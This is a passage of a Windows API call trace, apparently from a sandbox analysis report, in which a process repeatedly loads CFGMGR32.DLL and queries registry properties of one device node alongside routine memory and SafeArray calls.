_Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.320] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.320] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0241.321] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0241.322] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.322] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.325] malloc (_Size=0x18) returned 0x20abc281b60 [0241.326] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0241.326] malloc (_Size=0x10e) returned 0x20abc286870 [0241.326] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0241.327] free (_Block=0x20abc286870) [0241.327] malloc (_Size=0x48) returned 0x20abc2abae0 [0241.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b9aba03, dwHighDateTime=0x1d9eb0c)) [0241.327] SetEvent (hEvent=0x248) returned 1 [0241.330] malloc (_Size=0x18) returned 0x20abc281f80 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0241.331] free (_Block=0x20abc281f80) [0241.331] malloc (_Size=0x18) returned 0x20abc281d40 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0241.331] free (_Block=0x20abc281d40) [0241.331] malloc (_Size=0x18) returned 0x20abc2820c0 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0241.331] free (_Block=0x20abc2820c0) [0241.331] malloc (_Size=0x18) returned 0x20abc281ea0 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0241.331] free (_Block=0x20abc281ea0) [0241.331] malloc (_Size=0x18) returned 0x20abc282020 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0241.331] free (_Block=0x20abc282020) [0241.331] malloc (_Size=0x18) returned 0x20abc281b20 [0241.331] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0241.332] free (_Block=0x20abc281b20) [0241.332] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.332] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0241.332] free (_Block=0x20abc281ce0) [0241.332] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c5f0 [0241.332] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0241.332] SafeArrayGetLBound (in: psa=0x20abbaf2420, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0241.332] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0241.332] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0241.332] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0241.332] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0241.332] SafeArrayGetElemsize (psa=0x20abbaf2420) returned 0x8 [0241.332] SafeArrayGetElement (in: psa=0x20abbaf2420, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2468, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2470, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.333] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2478, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.334] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2480, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.334] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0241.335] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c5f0) returned 1 [0241.335] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.335] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.339] malloc (_Size=0x18) returned 0x20abc282000 [0241.339] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.345] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b9d1429, dwHighDateTime=0x1d9eb0c)) [0241.346] SetEvent (hEvent=0x248) returned 1 [0241.351] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.351] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.355] malloc (_Size=0x18) returned 0x20abc281a40 [0241.355] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.356] malloc (_Size=0x48) returned 0x20abc27cf80 [0241.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b9f7568, dwHighDateTime=0x1d9eb0c)) [0241.356] SetEvent (hEvent=0x248) returned 1 [0241.466] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.466] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.469] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.470] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.470] malloc (_Size=0x18) returned 0x20abc281a40 [0241.470] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.471] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bb28930, dwHighDateTime=0x1d9eb0c)) [0241.471] SetEvent (hEvent=0x248) returned 1 [0241.475] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.475] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.479] malloc (_Size=0x18) returned 0x20abc2819c0 [0241.479] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0241.479] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bb28930, dwHighDateTime=0x1d9eb0c)) [0241.480] SetEvent (hEvent=0x248) returned 1 [0241.485] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.485] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.489] malloc (_Size=0x18) returned 0x20abc281b80 [0241.489] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.492] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bb4ea8d, dwHighDateTime=0x1d9eb0c)) [0241.492] SetEvent (hEvent=0x248) returned 1 [0241.496] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.496] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.499] GetProcAddress (hModule=0x7ffb1ced0000, 